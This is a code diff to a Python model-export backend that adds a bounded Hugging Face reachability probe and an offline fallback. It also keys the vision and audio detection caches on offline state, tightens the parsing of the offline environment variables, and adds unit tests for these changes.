--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -13,6 +13,7 @@ Pattern follows core/inference/worker.py and core/training/worker.py.
 
 from __future__ import annotations
 
+import contextlib
 import errno
 import structlog
 from loggers import get_logger
@@ -171,6 +172,57 @@ def _activate_transformers_version(model_name: str, hf_token: str | None = None)
     activate_transformers_for_subprocess(model_name, hf_token)
 
 
+@contextlib.contextmanager
+def _offline_window_if_unreachable(step = "loading"):
+    """Force HF offline for a network-touching step (transformers version activation, or the
+    load preflights that hit the Hub) when the endpoint is unreachable, then restore the prior
+    env. Keeps a no-network export from hanging on Hub calls that run before load_checkpoint's
+    own probe, while letting this persistent worker re-decide per operation once back online.
+
+    Post-ML-import (the load preflights), huggingface_hub has already read its in-process
+    offline constant and cached sessions, so env alone is too late: defer to the loader's
+    _force_hf_offline (env + in-process flags + session reset). Pre-import (activation),
+    huggingface_hub is not loaded yet, so setting the env vars suffices for its urllib probes."""
+    saved: dict[str, str | None] = {}
+    force_ctx = None
+    try:
+        from utils.transformers_version import _env_offline, hf_endpoint_unreachable
+        probe_enabled = os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() not in (
+            "0",
+            "false",
+            "no",
+            "off",
+        )
+        if not _env_offline() and probe_enabled and hf_endpoint_unreachable():
+            logger.warning("Hugging Face endpoint unreachable; %s offline", step)
+            if "huggingface_hub" in sys.modules:
+                try:
+                    from unsloth.models.loader_utils import _force_hf_offline
+                    force_ctx = _force_hf_offline()
+                    force_ctx.__enter__()  # sets env + in-process flags + resets sessions
+                except Exception:
+                    force_ctx = None
+            if force_ctx is None:
+                for k in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"):
+                    saved[k] = os.environ.get(k)
+                    os.environ[k] = "1"
+    except Exception:
+        pass
+    try:
+        yield
+    finally:
+        if force_ctx is not None:
+            try:
+                force_ctx.__exit__(None, None, None)
+            except Exception:
+                pass
+        for k, v in saved.items():
+            if v is None:
+                os.environ.pop(k, None)
+            else:
+                os.environ[k] = v
+
+
 def _send_response(resp_queue: Any, response: dict) -> None:
     """Send a response to the parent process."""
     try:
@@ -459,19 +511,20 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
     checkpoint_path = config["checkpoint_path"]
 
     # ── 1. Activate correct transformers version BEFORE any ML imports ──
-    try:
-        _activate_transformers_version(checkpoint_path, config.get("hf_token") or None)
-    except Exception as exc:
-        _send_response(
-            resp_queue,
-            {
-                "type": "error",
-                "error": f"Failed to activate transformers version: {exc}",
-                "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
-            },
-        )
-        return
+    with _offline_window_if_unreachable(step = "activating transformers"):
+        try:
+            _activate_transformers_version(checkpoint_path, config.get("hf_token") or None)
+        except Exception as exc:
+            _send_response(
+                resp_queue,
+                {
+                    "type": "error",
+                    "error": f"Failed to activate transformers version: {exc}",
+                    "stack": traceback.format_exc(limit = 20),
+                    "ts": time.time(),
+                },
+            )
+            return
 
     # ── 1b. Check Triton on Windows (must precede import torch) ──
     if sys.platform == "win32":
@@ -534,7 +587,10 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
     try:
         backend = ExportBackend()
 
-        _handle_load(backend, config, resp_queue)
+        # Offline window covers the load preflights (malware/consent scans hit the Hub)
+        # before load_checkpoint runs its own probe; restored after so later loads re-decide.
+        with _offline_window_if_unreachable():
+            _handle_load(backend, config, resp_queue)
 
     except Exception as exc:
         _send_response(
@@ -570,7 +626,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
             if cmd_type == "load":
                 # Load a new checkpoint, reusing this subprocess.
                 backend.cleanup_memory()
-                _handle_load(backend, cmd, resp_queue)
+                # Offline window also covers this load's Hub preflights (re-probed per load).
+                with _offline_window_if_unreachable():
+                    _handle_load(backend, cmd, resp_queue)
 
             elif cmd_type == "export":
                 _handle_export(backend, cmd, resp_queue)
diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index 989c6378bd..b9b5abb9e5 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -60,6 +60,7 @@ from utils.transformers_version import (
     activate_transformers_for_subprocess,
     _venv_dir_is_valid,
     _ensure_venv_dir,
+    hf_endpoint_unreachable,
 )
 
 
@@ -2428,3 +2429,124 @@ class TestMalformedInputRobustness:
 
     def test_empty_name_returns_default(self):
         assert get_transformers_tier("") == "default"
+
+
+# ---------------------------------------------------------------------------
+# Offline negatives must not poison the version caches (persistent worker)
+# ---------------------------------------------------------------------------
+
+
+class TestOfflineCacheNotPoisoned:
+    """An offline first load must not leave a stale negative for a later online read."""
+
+    def setup_method(self):
+        _tokenizer_class_cache.clear()
+        _config_json_cache.clear()
+
+    def test_offline_tokenizer_assumption_not_cached(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_env_offline", lambda: True)
+        # No local file, not a local dir -> offline branch returns False without caching.
+        assert _check_tokenizer_config_needs_v5("org/uncached") is False
+        assert ("org/uncached", None) not in _tokenizer_class_cache
+
+    def test_offline_then_online_refetches(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        # 1) Offline: returns False, nothing cached.
+        monkeypatch.setattr(tv, "_env_offline", lambda: True)
+        assert _check_tokenizer_config_needs_v5("org/needs5") is False
+        assert ("org/needs5", None) not in _tokenizer_class_cache
+
+        # 2) Back online: the real fetch runs (cache was not poisoned) and is honored.
+        monkeypatch.setattr(tv, "_env_offline", lambda: False)
+
+        class _Resp:
+            def read(self):
+                return json.dumps({"tokenizer_class": "TokenizersBackend"}).encode()
+
+            def __enter__(self):
+                return self
+
+            def __exit__(self, *a):
+                return False
+
+        monkeypatch.setattr("urllib.request.urlopen", lambda req, timeout = 10: _Resp())
+        assert _check_tokenizer_config_needs_v5("org/needs5") is True
+
+    def test_offline_config_miss_not_cached(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_env_offline", lambda: True)
+        monkeypatch.setattr(tv, "_config_json_from_hf_cache", lambda name: None)
+        assert _load_config_json("org/uncached-config", None) is None
+        assert ("org/uncached-config", None) not in _config_json_cache
+
+
+# ---------------------------------------------------------------------------
+# hf_endpoint_unreachable — bounded, proxy/egress-aware reachability probe
+# ---------------------------------------------------------------------------
+
+
+class TestHfEndpointUnreachable:
+    def test_reachable_returns_false(self, monkeypatch):
+        class _Resp:
+            def __enter__(self):
+                return self
+
+            def __exit__(self, *a):
+                return False
+
+        monkeypatch.setattr("urllib.request.urlopen", lambda *a, **k: _Resp())
+        assert hf_endpoint_unreachable(timeout = 2) is False
+
+    def test_gateway_error_is_unreachable(self, monkeypatch):
+        import urllib.error
+
+        def _gw(*a, **k):
+            raise urllib.error.HTTPError("http://x", 504, "Gateway Timeout", {}, None)
+
+        monkeypatch.setattr("urllib.request.urlopen", _gw)
+        assert hf_endpoint_unreachable(timeout = 2) is True
+
+    def test_other_http_status_is_reachable(self, monkeypatch):
+        import urllib.error
+
+        def _405(*a, **k):
+            raise urllib.error.HTTPError("http://x", 405, "Method Not Allowed", {}, None)
+
+        monkeypatch.setattr("urllib.request.urlopen", _405)
+        assert hf_endpoint_unreachable(timeout = 2) is False
+
+    def test_tls_failure_is_reachable(self, monkeypatch):
+        import ssl
+        import urllib.error
+
+        def _tls(*a, **k):
+            raise urllib.error.URLError(ssl.SSLCertVerificationError("self-signed"))
+
+        monkeypatch.setattr("urllib.request.urlopen", _tls)
+        # TLS reached the server: treat as reachable so the load surfaces the cert error.
+        assert hf_endpoint_unreachable(timeout = 2) is False
+
+    def test_dns_failure_is_unreachable(self, monkeypatch):
+        import socket
+        import urllib.error
+
+        def _dns(*a, **k):
+            raise urllib.error.URLError(socket.gaierror(-2, "Name or service not known"))
+
+        monkeypatch.setattr("urllib.request.urlopen", _dns)
+        assert hf_endpoint_unreachable(timeout = 2) is True
+
+    def test_hung_probe_is_bounded(self, monkeypatch):
+        import time
+
+        def _hang(*a, **k):
+            time.sleep(30)
+
+        monkeypatch.setattr("urllib.request.urlopen", _hang)
+        t0 = time.time()
+        result = hf_endpoint_unreachable(timeout = 2)
+        assert result is True and (time.time() - t0) < 6.0
diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py
index 4349687c54..18b532cc9b 100644
--- a/studio/backend/tests/test_vision_cache.py
+++ b/studio/backend/tests/test_vision_cache.py
@@ -71,7 +71,7 @@ class TestVisionCacheHitMiss:
         """Two calls for the same model invoke the uncached fn once."""
         assert is_vision_model("org/my-vlm") is True
         assert is_vision_model("org/my-vlm") is True
-        mock_uncached.assert_called_once_with("org/my-vlm", None)
+        mock_uncached.assert_called_once_with("org/my-vlm", None, local_files_only = False)
 
     @patch("utils.models.model_config._is_vision_model_uncached", return_value = False)
     def test_different_models_each_detected(self, mock_uncached):
@@ -97,7 +97,7 @@ class TestVisionCacheStoresFalse:
         assert is_vision_model("org/text-only") is False
         assert is_vision_model("org/text-only") is False
         mock_uncached.assert_called_once()
-        assert _vision_detection_cache[("org/text-only", None)] is False
+        assert _vision_detection_cache[("org/text-only", None, False)] is False
 
 
 # Subprocess path (transformers 5.x) caching
@@ -120,7 +120,7 @@ class TestVisionCacheSubprocessPath:
         assert is_vision_model("unsloth/Qwen3.5-2B") is True
 
         mock_subprocess.assert_called_once()
-        assert _vision_detection_cache[("unsloth/Qwen3.5-2B", None)] is True
+        assert _vision_detection_cache[("unsloth/Qwen3.5-2B", None, False)] is True
 
     @patch("utils.models.model_config._raw_config_has_vision_config", return_value = True)
     @patch("utils.models.model_config._is_vision_model_subprocess", return_value = None)
@@ -133,7 +133,9 @@ class TestVisionCacheSubprocessPath:
         assert is_vision_model("unsloth/gemma-4-E4B-it") is True
         assert is_vision_model("unsloth/gemma-4-E4B-it") is True
 
-        mock_raw_config.assert_called_once_with("unsloth/gemma-4-E4B-it", hf_token = None)
+        mock_raw_config.assert_called_once_with(
+            "unsloth/gemma-4-E4B-it", hf_token = None, local_files_only = False
+        )
         mock_subprocess.assert_not_called()
 
 
@@ -405,6 +407,43 @@ class TestVisionCacheTokenHandling:
         mock_uncached.assert_called_once()
 
 
+class TestVisionCacheLocalOnly:
+    """local_files_only is in the cache key: an offline negative must not be reused by a
+    later online probe (else a VLM is routed through the text loader until restart)."""
+
+    def test_local_only_negative_does_not_poison_online(self, monkeypatch):
+        import utils.models.model_config as mc
+
+        mc._vision_detection_cache.clear()
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+        # Pin env-offline off so the key tracks the kwarg.
+        monkeypatch.setattr(mc, "_env_offline", lambda: False)
+
+        seen = []
+
+        def _probe(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
+            seen.append(local_files_only)
+            # Offline can't fetch -> not a VLM; online reveals the VLM.
+            return False if local_files_only else True
+
+        monkeypatch.setattr(mc, "_is_vision_model_uncached", _probe)
+
+        # Offline probe caches False under a local-only key.
+        assert mc.is_vision_model("some/vlm", local_files_only = True) is False
+        # A later online probe must re-run (different key) and detect the VLM.
+        assert mc.is_vision_model("some/vlm", local_files_only = False) is True
+        assert seen == [True, False]
+        # The online positive is then cached for subsequent online callers.
+        assert mc.is_vision_model("some/vlm", local_files_only = False) is True
+        assert seen == [True, False]
+        mc._vision_detection_cache.clear()
+
+
 # ---------------------------------------------------------------------------
 # Direct unit tests for _raw_config_has_vision_config
 # ---------------------------------------------------------------------------
@@ -570,7 +609,11 @@ class TestAudioDetectionCacheTokenAware:
         mc._audio_detection_cache.clear()
         calls = []
 
-        def _fake(name, hf_token = None):
+        def _fake(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
             calls.append(hf_token)
             # Gated repo: only an authenticated probe can read the tokenizer.
             return ("bicodec", True) if hf_token else (None, True)
@@ -601,7 +644,11 @@ class TestAudioDetectionCacheTokenAware:
 
         transient_calls = []
 
-        def _transient(name, hf_token = None):
+        def _transient(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
             transient_calls.append(hf_token)
             return (None, False)  # network/5xx -- not cacheable
 
@@ -613,7 +660,11 @@ class TestAudioDetectionCacheTokenAware:
 
         definitive_calls = []
 
-        def _definitive(name, hf_token = None):
+        def _definitive(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
             definitive_calls.append(hf_token)
             return (None, True)  # read the config, no audio tokens
 
@@ -623,3 +674,94 @@ class TestAudioDetectionCacheTokenAware:
         # Probed once: the definitive None was cached.
         assert definitive_calls == [None]
         mc._audio_detection_cache.clear()
+
+    def test_local_only_negative_does_not_poison_online(self, monkeypatch):
+        """An offline negative must not be reused by a later online probe (else an audio
+        model is routed through the text loader until restart)."""
+        import utils.models.model_config as mc
+
+        mc._audio_detection_cache.clear()
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+        # Pin env-offline off so the key tracks the kwarg.
+        monkeypatch.setattr(mc, "_env_offline", lambda: False)
+
+        seen = []
+
+        def _probe(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
+            seen.append(local_files_only)
+            # Offline: nothing on disk -> not audio; online reveals the audio model.
+            return (None, True) if local_files_only else ("snac", True)
+
+        monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _probe)
+
+        # Offline probe caches None under a local-only key.
+        assert mc.detect_audio_type("some/audio-model", local_files_only = True) is None
+        # A later online probe must re-run (different key) and detect the audio model.
+        assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac"
+        assert seen == [True, False]
+        # The online positive is then cached for subsequent online callers.
+        assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac"
+        assert seen == [True, False]
+        mc._audio_detection_cache.clear()
+
+    def test_env_offline_negative_does_not_poison_online(self, monkeypatch):
+        """An env-offline probe (default local_files_only=False) must cache under the
+        effective-offline key, so clearing the env var later doesn't leak a stale negative."""
+        import utils.models.model_config as mc
+
+        mc._audio_detection_cache.clear()
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+
+        env_offline = {"v": True}
+        monkeypatch.setattr(mc, "_env_offline", lambda: env_offline["v"])
+
+        seen = []
+
+        def _probe(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
+            seen.append(local_files_only)
+            return (None, True) if local_files_only else ("snac", True)
+
+        monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _probe)
+
+        # Env offline + default kwarg -> probe runs offline; None cached under the offline key.
+        assert mc.detect_audio_type("some/audio-model") is None
+        assert seen == [True]
+        # Env var cleared: a fresh online probe must re-run (different key) and detect.
+        env_offline["v"] = False
+        assert mc.detect_audio_type("some/audio-model") == "snac"
+        assert seen == [True, False]
+        mc._audio_detection_cache.clear()
+
+
+class TestEnvOfflineParsing:
+    """_env_offline accepts the canonical truthy set (strip+lower, on/true/yes/1); it gates
+    the requests.get fallback and the cache keys, so 'on' or ' 1 ' must still count as offline."""
+
+    def test_truthy_values_recognized(self, monkeypatch):
+        import utils.models.model_config as mc
+        for var in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"):
+            for val in ("1", "true", "TRUE", "yes", "Yes", "on", "ON", " 1 ", " on ", "\ttrue\n"):
+                monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+                monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+                monkeypatch.setenv(var, val)
+                assert mc._env_offline() is True, f"{var}={val!r} should be offline"
+
+    def test_falsy_values_not_offline(self, monkeypatch):
+        import utils.models.model_config as mc
+
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+        assert mc._env_offline() is False
+        for val in ("", "0", "false", "no", "off", "2", "onn"):
+            monkeypatch.setenv("HF_HUB_OFFLINE", val)
+            assert mc._env_offline() is False, f"HF_HUB_OFFLINE={val!r} should not be offline"
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 9401ba3427..5d8458e5f0 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -44,13 +44,15 @@ from utils.subprocess_compat import (
 logger = get_logger(__name__)
 
 
+_OFFLINE_TRUE_VALUES = {"1", "true", "yes", "on"}
+
+
 def _env_offline() -> bool:
-    """True if HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE is set to a truthy value."""
-    return os.environ.get("HF_HUB_OFFLINE", "").lower() in (
-        "1",
-        "true",
-        "yes",
-    ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
+    """True if an HF offline env var is truthy (canonical strip+lower parse, on/true/yes/1)."""
+    return (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+    )
 
 
 # ── Model size extraction ────────────────────────────────────
@@ -471,6 +473,7 @@ def load_model_config(
     use_auth: bool = False,
     token: Optional[str] = None,
     trust_remote_code: bool = False,
+    local_files_only: bool = False,
 ):
     """Load model config with optional authentication control.
 
@@ -478,12 +481,18 @@ def load_model_config(
     metadata lookups must never execute a model repo's ``auto_map`` Python.
     Deliberate remote-code loads pass the flag explicitly through
     ``FastLanguageModel.from_pretrained`` with the user's own consent.
+
+    ``local_files_only`` keeps the config read on the local HF cache (offline
+    export), so an offline probe never blocks on the network.
     """
     from transformers import AutoConfig
 
     if token:
         return AutoConfig.from_pretrained(
-            model_name, trust_remote_code = trust_remote_code, token = token
+            model_name,
+            trust_remote_code = trust_remote_code,
+            token = token,
+            local_files_only = local_files_only,
         )
 
     if not use_auth:
@@ -493,12 +502,14 @@ def load_model_config(
                 model_name,
                 trust_remote_code = trust_remote_code,
                 token = None,
+                local_files_only = local_files_only,
             )
 
     # Default auth (cached tokens)
     return AutoConfig.from_pretrained(
         model_name,
         trust_remote_code = trust_remote_code,
+        local_files_only = local_files_only,
     )
 
 
@@ -598,7 +609,9 @@ def _is_vlm(config) -> bool:
 
 
 def _raw_config_has_vision_config(
-    model_name: str, hf_token: Optional[str] = None
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
 ) -> Optional[bool]:
     try:
         if is_local_path(model_name):
@@ -610,6 +623,7 @@ def _raw_config_has_vision_config(
                     repo_id = model_name,
                     filename = "config.json",
                     token = hf_token,
+                    local_files_only = local_files_only,
                 )
             )
         config = json.loads(config_path.read_text())
@@ -776,27 +790,20 @@ def _token_fingerprint(token: Optional[str]) -> Optional[str]:
     return hashlib.sha256(token.encode("utf-8")).hexdigest()
 
 
-# Cache vision detection per session to avoid repeated subprocess spawns.
-# Keyed by (normalized_model_name, token_fingerprint) to handle gated models.
-# Only definitive results are cached; transient failures (network, timeouts)
-# are NOT cached so they can be retried.
-_vision_detection_cache: Dict[Tuple[str, Optional[str]], bool] = {}
+# Vision detection cache keyed by (name, token, local_files_only); only definitive results cached.
+_vision_detection_cache: Dict[Tuple[str, Optional[str], bool], bool] = {}
 _vision_cache_lock = threading.Lock()
 
 
-def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
-    """
-    Detect vision-language models (VLMs) via architecture in config. Works for
-    fine-tuned models since they inherit the base architecture.
-
-    Models needing transformers 5.x are checked in a .venv_t5/ subprocess.
-    Results are cached per (model_name, token_fingerprint) for the process
-    lifetime; transient failures are not cached so they can be retried.
-
-    Args:
-        model_name: Model identifier (HF repo or local path)
-        hf_token: Optional HF token for gated/private models
-    """
+def is_vision_model(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
+) -> bool:
+    """Detect VLMs via the config architecture (works for fine-tunes); transformers-5.x
+    models are checked in a .venv_t5/ subprocess. Cached per (model_name, token,
+    local_files_only) minus transient failures; local_files_only is in the key so an
+    offline probe never shares an online entry."""
     # Local GGUF models are served by llama-server. Their multimodal
     # capability comes from a companion mmproj, not a Transformers config.
     # Do not cache this lookup: a projector may be added beside an existing
@@ -829,7 +836,10 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
             exc,
         )
         resolved_name = model_name
-    cache_key = (resolved_name, _token_fingerprint(hf_token))
+    # Key on effective offline (kwarg OR env) so an offline probe can't poison a later
+    # online lookup once the env var is cleared.
+    effective_offline = bool(local_files_only or _env_offline())
+    cache_key = (resolved_name, _token_fingerprint(hf_token), effective_offline)
 
     # Lock-free fast path for cache hits. Sentinel distinguishes "key not found"
     # from "value is False" in a single atomic dict.get() call.
@@ -840,7 +850,7 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
 
     # Compute outside the lock so long-running detection isn't serialized across
     # models. Two concurrent calls may both run, but produce the same result.
-    result = _is_vision_model_uncached(resolved_name, hf_token)
+    result = _is_vision_model_uncached(resolved_name, hf_token, local_files_only = effective_offline)
     # Only cache definitive results; None is a transient failure, retry later.
     if result is not None:
         with _vision_cache_lock:
@@ -849,7 +859,11 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
     return False
 
 
-def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]:
+def _is_vision_model_uncached(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
+) -> Optional[bool]:
     """Uncached vision detection; use is_vision_model() instead.
 
     Returns True/False for definitive results, or None on transient errors
@@ -858,15 +872,17 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
     # Try the raw-config reader FIRST (code-free, version-independent): it classifies
     # repo-code VLMs like DeepSeek-OCR via declarative vision_config with no remote-code
     # execution or transformers-5.x subprocess.
-    raw = _raw_config_has_vision_config(model_name, hf_token = hf_token)
+    raw = _raw_config_has_vision_config(
+        model_name, hf_token = hf_token, local_files_only = local_files_only
+    )
     if raw is not None:
         return raw
 
-    # Raw read failed transiently: fall back to AutoConfig with remote code DISABLED
-    # (in a transformers-5.x subprocess when the main process can't parse the arch).
+    # Raw read failed transiently: fall back to AutoConfig (remote code DISABLED), via a
+    # transformers-5.x subprocess if needed. Skip that subprocess offline (it probes the network).
     from utils.transformers_version import needs_transformers_5
 
-    if needs_transformers_5(model_name):
+    if not local_files_only and needs_transformers_5(model_name):
         logger.info(
             "Model '%s' needs transformers 5.x -- checking vision via subprocess",
             model_name,
@@ -874,7 +890,12 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
         return _is_vision_model_subprocess(model_name, hf_token = hf_token)
 
     try:
-        config = load_model_config(model_name, use_auth = True, token = hf_token)
+        config = load_model_config(
+            model_name,
+            use_auth = True,
+            token = hf_token,
+            local_files_only = local_files_only,
+        )
 
         if _is_vlm(config):
             model_type = getattr(config, "model_type", None)
@@ -914,9 +935,9 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
 
 VALID_AUDIO_TYPES = ("snac", "csm", "bicodec", "dac", "whisper", "audio_vlm")
 
-# Keyed by (normalized_name, token_fingerprint) like the vision cache, so an
-# unauthenticated miss (None) cannot poison a later authenticated lookup.
-_audio_detection_cache: Dict[Tuple[str, Optional[str]], Optional[str]] = {}
+# Keyed like the vision cache by (name, token, local_files_only) so an unauthenticated
+# or offline miss cannot poison a later authenticated / online lookup.
+_audio_detection_cache: Dict[Tuple[str, Optional[str], bool], Optional[str]] = {}
 
 # Tokenizer token patterns → audio_type (all 6 types from tokenizer_config.json)
 _AUDIO_TOKEN_PATTERNS = {
@@ -935,12 +956,20 @@ _AUDIO_TOKEN_PATTERNS = {
 }
 
 
-def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Optional[str]:
+def detect_audio_type(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
+) -> Optional[str]:
     """Detect if a model is an audio model and return its type.
 
     Works for any model via tokenizer_config.json special tokens.
     Returns an audio_type string ('snac', 'csm', 'bicodec', 'dac', 'whisper',
     'audio_vlm') or None.
+
+    When local_files_only is True (offline export) the remote HuggingFace fetch
+    is skipped so detection never blocks on a network read; only the local HF
+    cache is consulted.
     """
     # Normalize casing + include the token fingerprint (mirrors is_vision_model).
     try:
@@ -950,11 +979,16 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option
             resolved_name = resolve_cached_repo_id_case(model_name)
     except Exception:
         resolved_name = model_name
-    cache_key = (resolved_name, _token_fingerprint(hf_token))
+    # Key on effective offline (kwarg OR env), matching where the remote fetch is skipped,
+    # so an offline negative can't poison a later online probe.
+    effective_offline = bool(local_files_only or _env_offline())
+    cache_key = (resolved_name, _token_fingerprint(hf_token), effective_offline)
     if cache_key in _audio_detection_cache:
         return _audio_detection_cache[cache_key]
 
-    result, definitive = _detect_audio_from_tokenizer(model_name, hf_token)
+    result, definitive = _detect_audio_from_tokenizer(
+        model_name, hf_token, local_files_only = effective_offline
+    )
     # Cache only definitive results; a transient read failure stays None and retries.
     if definitive:
         _audio_detection_cache[cache_key] = result
@@ -964,12 +998,15 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option
 
 
 def _detect_audio_from_tokenizer(
-    model_name: str, hf_token: Optional[str] = None
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
 ) -> Tuple[Optional[str], bool]:
     """Detect audio type from tokenizer special tokens.
 
-    Checks local HF cache first, then fetches tokenizer_config.json from HF;
-    examines added_tokens_decoder for distinctive patterns.
+    Checks local HF cache first, then (unless local_files_only) fetches
+    tokenizer_config.json from HF; examines added_tokens_decoder for distinctive
+    patterns.
 
     Returns (audio_type_or_None, definitive). definitive is False only on a
     transient read failure (network/timeout/5xx) so the caller skips caching and
@@ -1009,7 +1046,11 @@ def _detect_audio_from_tokenizer(
     except Exception as e:
         logger.debug(f"Could not check local cache for {model_name}: {e}")
 
-    # 2) Fall back to HuggingFace API
+    # 2) Fall back to the HuggingFace API. This raw requests.get ignores the HF offline
+    #    flag, so gate it on local_files_only OR the env vars to skip the network offline.
+    if local_files_only or _env_offline():
+        return None, read_any
+
     try:
         import requests
         import os
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 1d9ba88aa6..ac0ecfbfcd 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -46,13 +46,55 @@ from utils.subprocess_compat import (
 logger = get_logger(__name__)
 
 
+_OFFLINE_TRUE_VALUES = {"1", "true", "yes", "on"}
+
+
 def _env_offline() -> bool:
-    """True if HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE is set to a truthy value."""
-    return os.environ.get("HF_HUB_OFFLINE", "").lower() in (
-        "1",
-        "true",
-        "yes",
-    ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
+    """True if an HF offline env var is truthy (canonical strip+lower parse); gates the urllib fetches below."""
+    return (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+    )
+
+
+def hf_endpoint_unreachable(timeout: int = 3) -> bool:
+    """Bounded reachability probe to the HF endpoint. A HEAD request runs in a daemon thread
+    joined with a deadline, so a resolver blackhole cannot block past ~timeout+1s. True if
+    unreachable. urllib natively honors *_PROXY / NO_PROXY, so this verifies real egress
+    (the proxy can reach HF), not just that the proxy is up. No ML imports, so it is safe to
+    call before transformers version activation. Mirrors the probe in export._hf_offline."""
+    import ssl
+    import threading
+    import urllib.error
+    import urllib.request
+
+    endpoint = os.environ.get("HF_ENDPOINT", "https://huggingface.co")
+    if "://" not in endpoint:
+        endpoint = "https://" + endpoint
+
+    result = {"online": False}
+
+    def _probe():
+        try:
+            req = urllib.request.Request(endpoint, method = "HEAD")
+            with urllib.request.urlopen(req, timeout = timeout):
+                result["online"] = True
+        except urllib.error.HTTPError as exc:
+            # The server/proxy answered: reachable unless it is a gateway error.
+            result["online"] = exc.code not in (502, 503, 504)
+        except urllib.error.URLError as exc:
+            # A TLS/cert failure means we DID reach the server; treat as reachable so the real
+            # load surfaces it (consistent with _is_offline_related_error not retrying TLS).
+            result["online"] = isinstance(exc.reason, ssl.SSLError)
+        except ssl.SSLError:
+            result["online"] = True
+        except Exception:
+            result["online"] = False
+
+    t = threading.Thread(target = _probe, daemon = True)
+    t.start()
+    t.join(timeout + 1)
+    return t.is_alive() or not result["online"]
 
 
 def _safe_is_file(p: Path) -> bool:
@@ -151,6 +193,8 @@ _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = {
 
 # Caches keyed on (model_name, token-hash) so authed/unauthed reads stay separate (a
 # gated/private repo's unauthenticated miss must not poison a later authenticated lookup).
+# Offline negatives are NOT written (see the _env_offline branches) so they cannot poison a
+# later online read in this persistent worker.
 _tokenizer_class_cache: dict[tuple[str, str | None], bool] = {}
 _config_json_cache: dict[tuple[str, str | None], dict | None] = {}
 _config_needs_510_cache: dict[tuple[str, str | None], bool] = {}
@@ -525,9 +569,9 @@ def _check_tokenizer_config_needs_v5(model_name: str, hf_token: str | None = Non
     if _safe_is_dir(local_path):
         return False
 
-    # Offline: skip the 10s urllib fetch (fail-open to lower tier).
+    # Offline: skip the 10s urllib fetch (fail-open to lower tier). Do NOT cache this
+    # assumed negative, so a later online read of the same id re-fetches the real value.
     if _env_offline():
-        _tokenizer_class_cache[cache_key] = False
         return False
 
